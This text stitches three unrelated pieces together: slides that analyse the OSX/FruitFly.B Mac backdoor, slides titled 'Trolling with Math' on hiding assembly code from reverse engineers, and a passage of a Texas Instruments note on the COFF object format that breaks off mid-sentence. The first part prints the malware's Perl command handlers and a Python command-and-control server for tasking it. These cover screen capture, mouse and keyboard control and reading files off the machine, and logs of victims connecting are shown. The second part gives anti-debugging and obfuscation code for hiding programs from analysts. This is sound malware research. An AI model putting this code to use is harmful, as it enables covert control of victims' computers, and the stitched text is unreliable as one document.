sniff sniff!
code based on:
BUILDING A CUSTOM C&C SERVER
…and then we task!
handling connections
CUSTOM C&C SERVER
address of c&c server(s)
(can specify via cmdline!)
malware's protocol
#init socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#bind & listen
sock.bind(('0.0.0.0', port))
sock.listen(1)
#wait for malware to connect
while True:
connection, client_address = sock.accept()
print 'client connected: ', client_address
python c&c server
$ python server.py 1337
listening on ('0.0.0.0', 1337)
waiting for a connection…
client connected: ('192.168.0.13')
$ perl fpsaud 192.168.0.2:1337
now we know:
launch osx/fruitfly.b
connection received!
handling 'check-in'
CUSTOM C&C SERVER
#connect
$l = new IO::Socket::INET(
PeerAddr => scalar( reverse $g ),
PeerPort => $h,
Proto => 'tcp',
Timeout => 10
);
#send client info
G v1
. Y(1143)
. Y( $q ? 128 : 0 )
. Z( I('scutil --get LocalHostName’))
. Z( I('whoami') );
connect & send client info
size
value
1 byte
1
4 bytes
1143 (version #)
4 bytes
0, or 128
variable
host name
variable
user name ('whoami')
$ python server.py 1337
...
client connected: ('192.168.0.13')
client data:
offset 0x00: byte 1
offset 0x01: int: 1143
offset 0x05: int: 0
offset 0x0d: str (host name): users-Mac
offset 0x1a: str (user name): user
parsing client info
format of client info
G(): send data to c&c server
Y(): pack integer
Z(): pack string
relevant subroutines
handling commands
CUSTOM C&C SERVER
triage command to see:
a) additional bytes/data?
b) format of the response
send command
send additional bytes
receive and process data
1
2
3
for each command:
#command 11
def cmd11(connection):
#send command
connection.sendall(struct.pack('b', 11))
#malware first responds w/ command #
data = connection.recv(1)
print 'byte: 0x%02x (command)' % (ord(data))
#read & unpack length of pwd
data = connection.recv(4)
length = struct.unpack('I', data)[0]
#read 'pwd'
data = connection.recv(length)
print 'string: %s' (pwd) % data
$ pwd
/Users/user/Desktop
$ perl fpsaud 192.168.0.2:1337
launching osx/fruitfly.b
c&c command #11 implementation
#command 11
elsif ( $D == 11 ) {
G v11 . Z( I('pwd') )
}
cmd #11
tasking (command #11)
$ python server.py 1337
...
client connected: '192.168.0.13'
available commands:
11: Print Working Directory
select command: 11
response:
byte: 11 (command)
string: '/Users/user/Desktop' (pwd)
cmd #11
TASKING OSX/FRUITFLY.B
exposing capabilities
via /tmp/client
COMMAND #2
#command 2
elsif ( $D == 2 ) {
my ($Z, $C) = (J 1);
if (!$O && V(v2 . $Z) &&
defined($C = E(4)) &&
defined($C = E(unpack 'V', $C)))
{
G v2 . Z($C);
}
}
direction
size
value
recv
1 byte
commmand, 2
recv
1 bytes
?
send
1 byte
command, 2
send
variable
?
E(): read byte(s) from proc
J(): recv byte(s)
V(): exec embedded binary
G(): send data to c&c server
command #2
cmd #2, 0
# sudo fs_usage -w -f filesystem | grep perl
open F=5 /private/tmp/client perl5
lseek F=5 <SEEK_CUR> perl5
write F=5 B=0x2000 perl5
write F=5 B=0x11e8 perl5
close F=5 perl5
# procMonitor
new process:
pid=3237
path=/private/tmp/client
args=none
ancestors=(1, 3233)
relevant subroutines
command #2's protocol
file i/o & process events
}
args (cmd,?)
via stdin
oh; screen capture!
COMMAND #2
$ du -h response.unknown
1.4M
$ hexdump -C response.unknown
00000000 89 50 4e 47 0d 0a 1a 0a |.PNG....|
00000008 00 00 00 0d 49 48 44 52 |....IHDR|
...
$ file response.unknown
PNG image data, 1245 x 768, 8-bit/color RGB
looks like a .png!
screen capture
response to (cmd #2,0);
sends back 1MB+
wireshark capture
that second byte?
COMMAND #2
cmd #2, 0
cmd #2, 1
cmd #2, 8
cmd #2, 32
cmd #2, 64
cmd #2, 128
cmd #2, 255
param
size
type
color
resolution
0
1.4MB
PNG
color
high
1
64KB
PNG
black & white
low
8
788KB
PNG
black & white
high
9
1.4MB
PNG
color
high
10
60KB
JPEG
color
low
64
168KB
JPEG
color
medium
110
1.2MB
JPEG
color
high
111+
1.4MB
PNG
color
high
cmd #2, 1 (low-res B&W png)
cmd #2, 10 (low-res color jpg)
}
subcommand (byte #2) impact
task away:
...the mouse moved!
COMMAND #8
#command 8
elsif ( $D == 8 ){
#recv 9 bytes
my ( $Z, $C ) = ( J 9 );
if ( V( v8 . $Z ) &&
defined($C = E(1)) ){
G(ord($C) ? v8 : v0.10);
}
}
direction
size
value
recv
1 byte
commmand, 8
recv
9 bytes
?
send
1 || 2 bytes
command, 8 || 0, 10
command #8
command #8's protocol
response provides no
insight into
command :(
cmd #8
(0,123,456)
# ./sniff
event: kCGEventMouseMoved
(x: 123.000000, y: 456.000000)
mouse move (x,y)
...and action!
...that second byte?
COMMAND #8
cmd #8, 0 (123,456)
cmd #8, 1 (123,456)
cmd #8, 2 (123,456)
...
cmd #8, 7 (123,456)
}
sub-cmd
description
0
move
1
left click (up & down)
2
left click (up & down)
3
left double click
4
left click (down)
5
left click (up)
6
right click (down)
7
right click (up)
note that:
mouse is moved,
then action
down (#4) +
then move (#0) +
then up events (#5) = 'drag'
# ./sniff
event: kCGEventLeftMouseDown
(x: 123.000000, y: 456.000000)
event: kCGEventLeftMouseDragged
(x: 0.000000, y: 0.000000)
event: kCGEventLeftMouseUp
(x: 0.000000, y: 0.000000)
command #8, sub commands
task away:
...and action!
all things files
COMMAND #12
#command 12
elsif ( $D == 12 ) {
#recv 1 byte
my $Z = ord J 1;
my ( $S, $p ) = ( H, '' );
if ( $Z == 0 ) { $p = K( -e $S ) }
elsif ( $Z == 4 ) { $p = Y( -s $S ) }
...
G v12 . chr($Z) . Z($S) . $p;
}
direction
size
value
recv
1 byte
commmand, 12
recv
1 byte
?
recv
variable
?
send
1
command, 12
send
1 byte
? (same as recv)
send
variable
? (same as recv)
send
variable
result
command #12
command #12's protocol
cmd #12
(0,'foo')
# fs_usage -w -f filesystem | grep perl
stat64 [ 2] foo perl5
tasking (command #12)
$ python server.py 1337
...
client connected: '192.168.0.13'
selected command: 12
sending command 12 with 0 & 'foo'
response:
byte: 12 (command)
string: 'foo'
byte: 0
selected command: 12
sending command 12 with 0 & '/tmp'
response:
byte: 12 (command)
string: '/tmp'
byte: 1
stat64 [ 2] /tmp perl5
first: foo
second: /tmp
}
all things files
COMMAND #12
sub-cmd
description
0
exist?
1
delete
2
rename (move)
3
copy
4
size of
5
not implemented
6
read
7
write
8
attributes ('ls -a')
9
attributes ('ls -al')
command #12, sub commands
cmd #12, 0 ('/tmp')
cmd #12, 1 ('/tmp')
...
cmd #12, 9 ('/tmp')
}
# fs_usage -w -f filesystem | grep perl
unlink /tmp/foo perl5
# fs_usage -w -f filesystem | grep perl
open F=5 (_WC_T_) /tmp/foo perl5
lseek F=5 <SEEK_CUR> perl5
write F=5 B=0x3 perl5
close F=5 perl5
# procMonitor
new process:
pid=3248
path=/bin/ls
args=('-a', '/tmp/foo')
ancestors=(1, 3233)
sub-command #9 ('ls -al')
$ python server.py 1337
sending command 12 with 9 & '/tmp'
response:
byte: 12 (command)
string: 'lrwxr-xr-x@ 1 root wheel
11 Sep 22 2016 /tmp -> private/tmp'
sub-command #7 (write)
sub-command #1 (delete)
task away:
keyboard events
COMMAND #16/17
#command 16 / 17
elsif ( $D == 16 || $D == 17 ) {
#recv 1 byte
my $Z = J 1;
G(v0.23)
if !V( chr($D) . $Z );
}
direction
size
value
recv
1 byte
commmand, 16 || 17
recv
1 byte
?
send
2 bytes
0, 23 (only error)
command #16/17
command #16/17's protocol
cmd #16, 0
cmd #16, 1
...
cmd #16, 65
cmd #17, 65
nothing...
no bytes sent
file write
/tmp/client
proc exec
/tmp/client
keyboard events
# sniff
event: kCGEventKeyDown
keycode: 0x0/'a'
cmd #16, 65
# sniff
event: kCGEventKeyUp
keycode: 0x0/'a'
cmd #17, 65
remote typing
task away:
osx/fruitfruit.b; fully deconstructed :)
COMMANDS
cmd
sub-cmd
description
0
do nothing
2
screen capture (PNG, JPEG, etc)
3
screen bounds
4
host uptime
6
evaluate perl statement
7
mouse location
8
mouse action
0
move mouse
1
left click (up & down)
2
left click (up & down)
3
left double click
4
left click (down)
5
left click (up)
6
right click (down)
7
right click (up)
11
working directory
12
file action
0
does file exist?
1
delete file
2
rename (move) file
3
copy file
4
size of file
5
not implemented
6
read & exfiltrate file
7
write file
8
file attributes (ls -a)
9
file attributes (ls -al)
cmd
sub-cmd
description
13
malware's script location
14
execute command in background
16
key down
17
key up
19
kill malware's process
21
process list
22
kill proces
26
read string (command not fully implemented?)
27
directory actions
0
do nothing
2
directory listing
29
read byte (command not fully implemented?)
30
reset connection to trigger reconnect
35
get host by name
43
string' action
'alert'
set alert to trigger when user is active
'scrn'
toggle method of screen capture
'vers'
malware version
<string>
execute shell command
47
connect to host
TRAPPING FRUIT FLIES
let's play a little game
oh f***; they are available!
ABOUT THOSE BACKUP C&C SERVERS
#decode c&c backup servers
for my $B ( split /a/, M('1fg7kkb1nnhokb71jrmkb;rm`;kb...') )
{
push @e, map $_ . $B, split /a/, M(‘dql-lwslk-bdql...’);
}
backup c&c servers
hxxxxx.hopto.org
hxxxxx.duckdns.org
hxxxxx.hopto.org
hxxxxx.duckdns.org
hxxxxx.hopto.org
hxxxxx.duckdns.org
hxxxxx.hopto.org
hxxxxx.duckdns.org
fxxxxxx.hopto.org
fxxxxxx.duckdns.org
fxxxxxx.hopto.org
fxxxxxx.duckdns.org
$ ping eidk.hopto.org
PING eidk.hopto.org
(127.0.0.1) : 56 data bytes
primary; 'offline'
}
primary c&c servers
are all online
addrs of backup ones available
register c&c server
ANYBODY THERE?
'hxxxxx.hopto.org'
'fxxxxxx.hopto.org'
...
1
2
register
start custom c&c server
09:18:25,702 client connected ( 73.215.4x.xx , 641
09:18:29,561 client connected ('107.10.21x.xx', 58
09:18:49,042 client connected ('73.28.17x.xx', 507
09:19:34,987 client connected ('73.95.13x.xxx', 19
09:19:43,657 client connected ('104.246.6x.xxx', 5
09:19:55,198 client connected ('98.225.11x.xx', 50
09:21:13,237 client connected ('129.22.x.xx', 5436
09:21:58,868 client connected ('132.239.1x.xxx', 6
09:22:10,385 client connected ('73.222.5x.xx', 557
09:22:39,061 client connected ('98.27.14x.xx', 455
09:23:44,346 client connected ('67.247.3x.xxx', 52
09:24:29,554 client connected ('47.40.11x.xxx', 61
09:24:30,947 client connected ('99.241.19x.xxx', 3
09:25:09,028 client connected ('73.42.18x.xx', 628
09:25:31,818 client connected ('73.67.24x.xx', 563
09:25:43,006 client connected ('71.231.12x.xxx', 5
09:25:46,536 client connected ('68.129.15x.xx', 56
09:25:52,615 client connected ('67.176.x.xxx', 562
09:25:57,297 client connected ('129.22.7x.xx', 523
09:26:11,636 client connected ('98.253.4x.xxx', 50
09:26:19,453 client connected ('140.252.11x.xxx',
09:26:40,407 client connected ('24.239.25x.xxx', 5
09:27:04,745 client connected ('68.51.25x.xxx', 63
09:27:16,935 client connected ('68.38.8x.xxx', 498
09:27:30,631 client connected ('73.189.15x.xxx', 5
09:27:37,894 client connected ('129.22.x.xx', 6205
09:27:38,611 client connected ('96.60.12x.xxx', 59
09:28:45,814 client connected ('24.5.4x.xxx', 5862
09:29:34,850 client connected ('130.9x.1x.xx', 501
09:29:42,912 client connected ('173.17x.11x.xxx',
09:31:05 436 client connected ('70 21x 1x xxx'
91
3
...yikes
CONCLUSIONS
wrapping this up
...just by asking the right questions
ANALYZING OSX/FRUITFLY.B
built:
custom C&C server
1
tasked:
the malware
observed:
the malware's response
2
3
hxxxxx.hopto.org
eidk.hopto.org
macOS monitoring
tools
full analysis of
OSX/FruitFly.B
results:
free security tools!
OBJECTIVE-SEE(.COM)
KnockKnock
BlockBlock
TaskExplorer
Ostiarius
Hijack Scanner
KextViewr
RansomWhere?
support it :)
www.patreon.com/objective_see
contact me any time :)
QUESTIONS & ANSWERS
[email protected]
@patrickwardle
www.synack.com/red-team
join the red team!
patreon.com/objective_see
mahalo :)
CREDITS
-
FLATICON.COM
-
ICONMONSTR.COM
-
ICONEXPERIENCE.COM
-
HTTP://WIRDOU.COM/2012/02/04/IS-THAT-BAD-DOCTOR/
-
HTTP://TH07.DEVIANTART.NET/FS70/PRE/F/
2010/206/4/4/441488BCC359B59BE409CA02F863E843.JPG
-
HTTPS://BLOG.MALWAREBYTES.COM/THREAT-ANALYSIS/2017/01/NEW-MAC-BACKDOOR-USING-
ANTIQUATED-CODE/
-
HTTP://OSXBOOK.COM/BOOK/BONUS/CHAPTER2/ALTERMOUSE/
-
HTTP://OSXBOOK.COM/BOOK/BONUS/CHAPTER2/ALTERKEYS/
images
resources | pdf |
Trolling with Math
base26_t YOU = 0x038C2767;
Trolling with Math
wat?
• frank^2
• pronounced “frank 2” (the carat is ~flare~)
• “that guy with the hat”
• DC949
• DC310
Trolling with Math
When we last left our heroes...
• “I have no idea what the fuck frank^2 is
talking about, but its awesome.”
• “More content, less bullshit.”
Content
Trolling with Math
ya we pumpin
Trolling with Math
MATH!
• It’s very possible your math teacher made
this more complicated than it needs to be.
• f(x) = x * 7
• (lambda x: x * 7)
• public static int
multiplyBySevenAndReturn(Integer x)
{ return x * 7; }
• Mathematic functions can get even more
complicated, but this is all we need for now.
Trolling with Math
ASSEMBLY!
• JMP and CALL instructions are not specific
with immediate values. They’re offsets.
• JMP 00401000 is more like JMP-A-FEW-
BYTES-AHEAD. It’s the same with CALL.
• ...except CALL sticks its dick in your
stack.
• Hot.
Trolling with Math
ASSEMBLY!
• Oh, except for when you stick an address
in a register. Totally different.
• When you stick an address in a register and
then do something like CALL EAX, it
specifically goes to whatever value is in
EAX.
• Same goes for CALL [EAX] or JMP [EAX]--
it just dereferences EAX and jumps to that
address.
Trolling with Math
ASSEMBLY!
• Let’s talk about JMP SHORT.
• This is essentially a jump within the range
of -127 8==0==D 127.
• Regular JMP instructions are more like
-2147483647 8====0====D 2147483647
Trolling with Math
ASSEMBLY!
• There is no such thing as CALL SHORT.
• I know, right?
• What the hell.
Trolling with Math
ASSEMBLY!
• Here’s some computer science witchcraft.
• Technically you can define the space
between each instruction as...
Trolling with Math
Trolling with Math
ASSEMBLY!
• Each instruction is executed one after
another.
• This can be interpreted as an unconditional
jump to the next instruction.
• This gives us space between each assembly
instruction so long as each instruction is
subsequently linked by an unconditional
jump.
Trolling with Math
ASSEMBLY!
MOV EAX,5355434B
MOV EBX,20412044
XOR EAX,EBX
CALL 49434B20
MOV EDX,EAX
SUB AL,46
XOR EAX,41545459
Trolling with Math
ASSEMBLY!
MOV EAX,5355434B
JMP 0
MOV EBX,20412044
JMP 0
XOR EAX,EBX
JMP 0
CALL 49434B20
JMP 0
MOV EDX,EAX
JMP 0
SUB AL,46
JMP 0
XOR EAX,41545459
JMP 0
Trolling with Math
ASSEMBLY!
• It is therefore possible to place every single
assembly instruction in an arbitrary
location in memory if and only if each
singular instruction is followed by an
accompanying unconditional jump to the
next instruction.
Trolling with Math
ASSEMBLY!
• A one-dimensional array can technically be
interpreted as a two-dimensional array as
well. It just requires a little math.
• This gives us the ability to interpret a
location in memory as an X/Y grid.
• Coupled with interpreting null space
between instructions as unconditional
jumps, we can literally draw instructions.
• This is awesome.
Trolling with Math
Let’s do this
• Disassemble each instruction.
• Allocate space in memory significantly
larger than the collection of instructions.
• For each instruction, determine f(x)
• Place each instruction at the corresponding
(x,y) location in memory.
• Join the instruction with an unconditional
jump.
• Mark memory executable and run.
Bullshit
Trolling with Math
FUCK!
• Like gravity, that shit only works in theory.
• In practice, we’re fucked.
• Totally and utterly fucked.
Trolling with Math
FUCK!
• All of your JMP instructions? Fucked.
• All of your CALL instructions? Fucked.
• Any self-referential code? Fucked.
• Self-modifying code that relies on iteration?
You better BELIEVE it’s fucked.
Trolling with Math
FUCK!
• Let’s start with JMP instructions.
• Since JMPs are offsets, when placed in an
arbitrary location, they no longer point to
where you think they’re pointing at.
• Short JMPs are in a similar situation. When
arbitrarily placed by your f(x) function, they
will very likely not point to where you
think they will.
• Short JMPs are easily fixed. Long JMPs? Not
so much.
Trolling with Math
FUCK!
• Dealing with register-based JMPs are going
to be an issue as well.
• Since they require hard offsets and may be
calculated at run-time, there is no easy way
to determine where they’re going.
• So unless you want to do some extra work
to get this working... you may as well ignore
it.
Trolling with Math
FUCK!
• f(x) formulas aren’t nearly as elegant in
code as they are on paper.
• This requires all sorts of strange voodoo
magic if we want to use arbitrary
formulas-- function pointers, class pointers,
the whole shebang.
DEAL WITH IT
Trolling with Math
he;lp
• At disassembly, convert all your JMP
SHORTs to JMP PANTS before storing
them away.
• Simple enough!
Trolling with Math
he;lp
• The actual offset data though? Hoo.
• All instructions which you’ve detected have
offsets that will move when the code is
moved need to be recalculated.
• This means you need to:
• Keep track of the instructions.
• Keep track of the targets.
• See the source for an example of how I
accomplished this.
Trolling with Math
he;lp
• After all the instructions are placed, replace
the old offsets with the new offsets.
• Assuming you didn’t fuck up the offsets,
those problems are now solved.
Trolling with Math
he;lp
• Now that we have the caveats out of the
way, we have a path to a potential higher-
level implementation.
• It goes like this:
Trolling with Math
Implementation
• Disassemble instructions.
• Prepare buffer.
• Initialize f(x) function constants.
• Iterate over f(x) values and determine data
pointers by which your code will be
written to while tracking fucked
instructions.
• Write the instructions to the
corresponding pointers.
Trolling with Math
Implementation
• Repair all your conditional jumps.
• Mark the new section of memory as
executable.
• RUN!
Trolling with Math
Who cares?
• The isolation of assembly instructions and
numerical steps to calculate f(x) allows us
to place assembly instructions anywhere in
the buffer we want to with little to no
interaction from the user.
• In order to obfuscate the clarity of the
codepath, all you have to do is write a
function and point the MATHEMACHINAE
at some assembly.
Trolling with Math
Who cares?
• This makes accomplishing various
polymorphic techniques a little bit simpler
as well.
• Instead of writing code that manipulates
your code in a specific way each time, you
can write a series of functions which
randomly determine the location of your
code, then select those functions at
random, etc.
Trolling with Math
Who cares?
• Anti-reversing isn’t about how cool and
fresh your anti-debug techniques are.
• Anti-reversing isn’t about how much of a
boner you get from breaking out of IDA
and spawning Last Measure all over a
reverser’s desktop (but it is pretty
goddamn funny).
• Anti-reversing is about being a dick.
Trolling with Math
Who cares?
• Everyone knows where to Google for anti-
debug techniques.
• You can’t Google for creativity, though.
• The most creative anti-reversing assholes
among you will be the direct result of
broken fingers and fist-sized holes in
plastered walls.
• And that’s something to be proud of!
Trolling with Math
Yo dawg, I heard this joke was played out...
Trolling with Math
...but it’s contextual, so fuck the haters
Trolling with Math
At least I didn’t use memegenerator
Trolling with Math
AW FUCK
Trolling with Math
Shit sucks
• But the example code only uses
unconditional jumps.
• Unconditional jumps only go in one
goddamn direction.
• Conditional jumps go in two.
• That makes them better.
Trolling with Math
wait wh
• If we require conditional jumps yet need to
use unconditional jumps... what the fuck?
• Opaque predicates save the day!
• But why stop there?
Trolling with Math
Hardening
• Consider the null-space expansion posited
earlier.
• If a set of instructions has an unconditional
jump between each instruction, it also
follows that a series of assembly
instructions which do not have direct affect
on the result of our desired instructions
can precede or proceed a single
instruction.
• This is even more awesome.
Trolling with Math
Hardening
pre-amble
assembly data
post-script
Trolling with Math
Hardening
• The pre-amble section can be used for two
things:
• Repairing the after-effects of the previous
pre-amble’s opaque predicate.
• Anti-debug code chunks.
Trolling with Math
Hardening
• The post-script is a whole lot more fun.
• This section can be used for:
• Opaque predicates and obfuscated jumps
• Anti-debug and general control-flow
obfuscation
• Encryption/decryption of various chunks
of code within the program
Trolling with Math
Hardening
CALL IsDebuggerPresent
CMP EAX,1
JE FuckYouNeighbor
MOV EAX,5355434B
PUSH EAX
XOR EAX,EAX
JZ nextBlock
POP EAX
MOV EBX,20412044
CLC
JNC nextBlock
Trolling with Math
Hardening
• This obviously introduces a whole lot more
issues than our baseline does, such as after-
effects and a complication of generating all
the different sets of instructions.
• So throw your Shmooballs if you got ‘em,
I’m about to be That Guy:
COMING SOON
(AKA READ MY SHITTY BLOG)
Trolling with Math
Hardening
• Our f(x) formulas don’t necessarily need to
be calculated iteratively, e.g. f(1), f(2), ... f(n)
• There’s nothing to stop us from randomly
calculating them as well!
Trolling with Math
Hardening
• If our code is generated from a predictable
formula, then it follows the entry point is
predictable, i.e. it can be calculated at
runtime.
• Oh, hi mister Debugger! What’s that? You
want to ride the snake?
• NOT WORTHY
Drawbacks
Trolling with Math
Drawbacks
• This technique assumes sanely compiled
code.
• This means if you’re trying to obfuscate
assembly that would make the Conficker
gang say “bravo!”, you’re screwed.
Trolling with Math
Drawbacks
• Massive memory footprint.
• You are likely going to be dealing with a
HUGE dataset when you’re done.
• This gets significantly larger when you
obfuscate more than just one functions.
• I sure hope your FuDG3p4Ck3R v6.66 is
efficient!
Trolling with Math
Drawbacks
• You think your function pointers are so
clever? Yeah? Fuck you, they’re broken.
• Wise-guy thought he might be smart by
using C++ and the STL to get by and make
his code more efficient? Fuck your OOP
paradigm.
Trolling with Math
Drawbacks
• The more clever you get with generating
obfuscation pairs and manipulating the
assembly, the more complicated it gets to
repair.
• It’s a slippery-slope from “oh, hey, neat, I can
just stick a JMP or two in here” to “HOW
THE FUCK DO I MEMORIZE THE
DRAGONBOOK IN AS SHORT AMOUNT
OF TIME AS POSSIBLE?!”
Trolling with Math
End!
• @franksquared
• http://argolithmic.blogspot.com
• http://argolith.ms | pdf |
Application Report
SPRAAO8–April 2009
Common Object File Format
.....................................................................................................................................................
ABSTRACT
The assembler and link step create object files in common object file format (COFF).
COFF is an implementation of an object file format of the same name that was
developed by AT&T for use on UNIX-based systems. This format encourages modular
programming and provides powerful and flexible methods for managing code segments
and target system memory.
This appendix contains technical details about the Texas Instruments COFF object file
structure. Much of this information pertains to the symbolic debugging information that
is produced by the C compiler. The purpose of this application note is to provide
supplementary information on the internal format of COFF object files.
Topic ..................................................................................................
Page
1
COFF File Structure .................................................................... 2
2
File Header Structure .................................................................. 4
3
Optional File Header Format ........................................................ 5
4
Section Header Structure............................................................. 5
5
Structuring Relocation Information............................................... 7
6
Symbol Table Structure and Content........................................... 11
SPRAAO8–April 2009
Common Object File Format
1
Submit Documentation Feedback
1
COFF File Structure
Fileheader
Optionalfileheader
Section1header
Section n header
Section1
rawdata
Section n
rawdata
Section1
relocationinformation
Section n
relocationinformation
Symboltable
Stringtable
Sectionheaders
Rawdata
(executablecodeand
initializeddata)
Relocation
information
COFF File Structure
www.ti.com
The elements of a COFF object file describe the file's sections and symbolic debugging information. These
elements include:
•
A file header
•
Optional header information
•
A table of section headers
•
Raw data for each initialized section
•
Relocation information for each initialized section
•
A symbol table
•
A string table
The assembler and link step produce object files with the same COFF structure; however, a program that
is linked for the final time does not usually contain relocation entries. Figure 1 illustrates the object file
structure.
Figure 1. COFF File Structure
Figure 2 shows a typical example of a COFF object file that contains the three default sections, .text,
.data, and .bss, and a named section (referred to as <named>). By default, the tools place sections into
the object file in the following order: .text, .data, initialized named sections, .bss, and uninitialized named
sections. Although uninitialized sections have section headers, notice that they have no raw data,
relocation information, or line number entries. This is because the .bss and .usect directives simply
reserve space for uninitialized data; uninitialized sections contain no actual code.
Common Object File Format
2
SPRAAO8–April 2009
Submit Documentation Feedback
Fileheader
.text
sectionheader
.data
sectionheader
.bss
sectionheader
<named>section
sectionheader
.text
rawdata
.data
rawdata
<named>section
rawdata
.text
relocationinformation
.data
relocationinformation
<named>section
relocationinformation
Symboltable
Stringtable
Sectionheaders
Rawdata
Relocation
information
www.ti.com
COFF File Structure
Figure 2. Sample COFF Object File
SPRAAO8–April 2009
Common Object File Format
3
Submit Documentation Feedback
2
File Header Structure
File Header Structure
www.ti.com
The file header contains 22 bytes of information that describe the general format of an object file. Table 1
shows the structure of the COFF file header.
Table 1. File Header Contents
Byte Number
Type
Description
0-1
Unsigned short
Version ID; indicates version of COFF file structure
2-3
Unsigned short
Number of section headers
4-7
Integer
Time and date stamp; indicates when the file was created
8-11
Integer
File pointer; contains the symbol table's starting address
12-15
Integer
Number of entries in the symbol table
16-17
Unsigned short
Number of bytes in the optional header. This field is either 0 or 28; if it is 0, there is no
optional file header.
18-19
Unsigned short
Flags (see Table 2)
20-21
Unsigned short
Target ID; magic number (see Table 3) indicates the file can be executed in a specific TI
system
Table 2 lists the flags that can appear in bytes 18 and 19 of the file header. Any number and combination
of these flags can be set at the same time.
Table 2. File Header Flags (Bytes 18 and 19)
Mnemonic
Flag
Description
F_RELFLG
0001h
Relocation information was stripped from the file
F_EXEC
0002h
The file is relocatable (it contains no unresolved external references)
F_LNNO(1)
0004h
For TMS430 and TMS470 only: Line numbers were stripped from the file. For
other targets: Reserved
F_LSYMS
0008h
Local symbols were stripped from the file
F_LITTLE
0100h
The target is a little-endian device
F_BIG(1)
0200h
For C6000, MSP430, and TMS470 only: The target is a big-endian device. For
other targets: Reserved
F_SYMMERGE(1)
1000h
For C2800, MSP430, and TMS470: Duplicate symbols were removed. For
C6000: Reserved
(1)
No mnemonic is defined when the flag value is reserved.
Table 3 lists the magic number for each Texas Instruments device family.
Table 3. Magic Number
Magic Number
Device Family
0097h
TMS470
0098h
TMS320C5400
0099h
TMS320C6000
009Ch
TMS320C5500
009Dh
TMS320C2800
00A0h
MSP430
00A1h
TMS320C5500+
4
Common Object File Format
SPRAAO8–April 2009
Submit Documentation Feedback
3
Optional File Header Format
4
Section Header Structure
www.ti.com
Optional File Header Format
The link step creates the optional file header and uses it to perform relocation at download time. Partially
linked files do not contain optional file headers. Table 4 illustrates the optional file header format.
Table 4. Optional File Header Contents
Byte Number
Type
Description
0-1
Short
Optional file header magic number (0108h)
2-3
Short
Version stamp
4-7
Long(1)
Size (in bytes) of executable code
8-11
Long(1)
Size (in bytes) of initialized data
12-15
Long(1)
Size (in bytes) of uninitialized data
16-19
Long(1)
Entry point
20-23
Long(1)
Beginning address of executable code
24-27
Long(1)
Beginning address of initialized data
(1)
For C6000 the type is integer.
COFF object files contain a table of section headers that define where each section begins in the object
file. Each section has its own section header. Table 5 shows the structure of each section header.
Table 5. Section Header Contents
Byte Number
Type
Description
0-7
Character
This field contains one of the following: 1) An 8-character section name padded
with nulls. 2) A pointer into the string table if the symbol name is longer than
eight characters.
8-11
Long(1)
Section's physical address
12-15
Long(1)
Section's virtual address
16-19
Long(1)
Section size in bytes (C6000, C55x, TMS470 and TMS430) or words (C2800,
C5400)
20-23
Long(1)
File pointer to raw data
24-27
Long(1)
File pointer to relocation entries
28-31
Long(1)
Reserved
32-35
Unsigned long(2)
Number of relocation entries
36-39
Unsigned long(2)
For TMS470 and TMS430 only: Number of line number entries. For other
devices: Reserved
40-43
Unsigned long(2)
Flags (see Table 7)
44-45
Unsigned short
Reserved
46-47
Unsigned short
Memory page number
(1)
For C6000 the type is integer.
(2)
For C6000 the type is unsigned integer.
For C5400 only, object files can be produced in either of two formats: COFF1 or COFF2. For all other
device families all COFF object files are in the COFF2 format. The COFF1 and COFF2 file types contain
different section header information. Table 6 shows the section header contents for COFF1 files. Table 5
shows the section header contents for COFF2 files.
SPRAAO8–April 2009
Common Object File Format
5
Submit Documentation Feedback
Section Header Structure
www.ti.com
Table 6. Section Header Contents for COFF1
Byte Number
Type
Description
0-7
Character
An 8-character section name padded with nulls.
8-11
Long
Section's physical address
12-15
Long
Section's virtual address
16-19
Long
Section size in words
20-23
Long
File pointer to raw data
24-27
Long
File pointer to relocation entries
28-31
Long
Reserved
32-33
Unsigned short
Number of relocation entries
34-35
Unsigned short
Reserved
36-37
Unsigned short
Flags (see Table 7)
38
Char
Reserved
39
Char
Memory page number
Table 7 lists the flags that can appear in bytes 40 through 43 (36-37 for COFF1) of the section header.
Table 7. Section Header Flags
Mnemonic
Flag
Description (1)
STYP_REG
00000000h
Regular section (allocated, relocated, loaded)
STYP_DSECT
00000001h
Dummy section (relocated, not allocated, not loaded)
STYP_NOLOAD
00000002h
Noload section (allocated, relocated, not loaded)
STYP_GROUP(2)
00000004h
Grouped section (formed from several input sections). Other devices:
Reserved
STYP_PAD(2)
00000008h
Padding section (loaded, not allocated, not relocated). Other devices:
Reserved
STYP_COPY
00000010h
Copy section (relocated, loaded, but not allocated; relocation entries
are processed normally)
STYP_TEXT
00000020h
Section contains executable code
STYP_DATA
00000040h
Section contains initialized data
STYP_BSS
00000080h
Section contains uninitialized data
STYP_BLOCK(3)
00001000h
Alignment used as a blocking factor.
STYP_PASS(3)
00002000h
Section should pass through unchanged.
STYP_CLINK
00004000h
Section requires conditional linking
STYP_VECTOR(4)
00008000h
Section contains vector table.
STYP_PADDED(4)
00010000h
section has been padded.
(1)
The term loaded means that the raw data for this section appears in the object file. Only allocated sections are written to target
memory.
(2)
Applies to C2800, C5400, and C5500 only.
(3)
Reserved for C2800, C5400, and C5500.
(4)
Applies to C6000 only.
The flags listed in Table 7 can be combined; for example, if the flag's word is set to 060h, both
STYP_DATA and STYP_TEXT are set.
Bits 8-11 of the section header flags are used for defining the alignment. The alignment is defined to be
2^(value of bits 8-11). For example if bits 8-11 are 0101b (decimal integer 5), then the alignment is 32
(2^5).
For MSP430 and TMS470, alignment is indicated by the bits masked by 0xF00. Alignment is the value in
the bits raised to a power equal to the bit value. Alignment is 2 raised to the same power. For example, if
the value in these 4 bits is 2, the alignment is 2 raised to the power 2 (or 4).
Figure 3 illustrates how the pointers in a section header point to the elements in an object file that are
associated with the .text section.
6
Common Object File Format
SPRAAO8–April 2009
Submit Documentation Feedback
.text
.text
section
header
.text
Rawdata
.text
Relocationinformation
0−7
8−11
12−15 16−19
20−23 24−27
28−31
32−33
34−35
36−37 38
39
5
Structuring Relocation Information
www.ti.com
Structuring Relocation Information
Figure 3. Section Header Pointers for the .text Section
As Figure 2 shows, uninitialized sections (created with the .bss and .usect directives) vary from this
format. Although uninitialized sections have section headers, they have no raw data or relocation
information; or, for MSP430 and TMS470, line number information. They occupy no actual space in the
object file. Therefore, the number of relocation entries, the number of line number entries, and the file
pointers are 0 for an uninitialized section. The header of an uninitialized section simply tells the link step
how much space for variables it should reserve in the memory map.
A COFF object file has one relocation entry for each relocatable reference. The assembler automatically
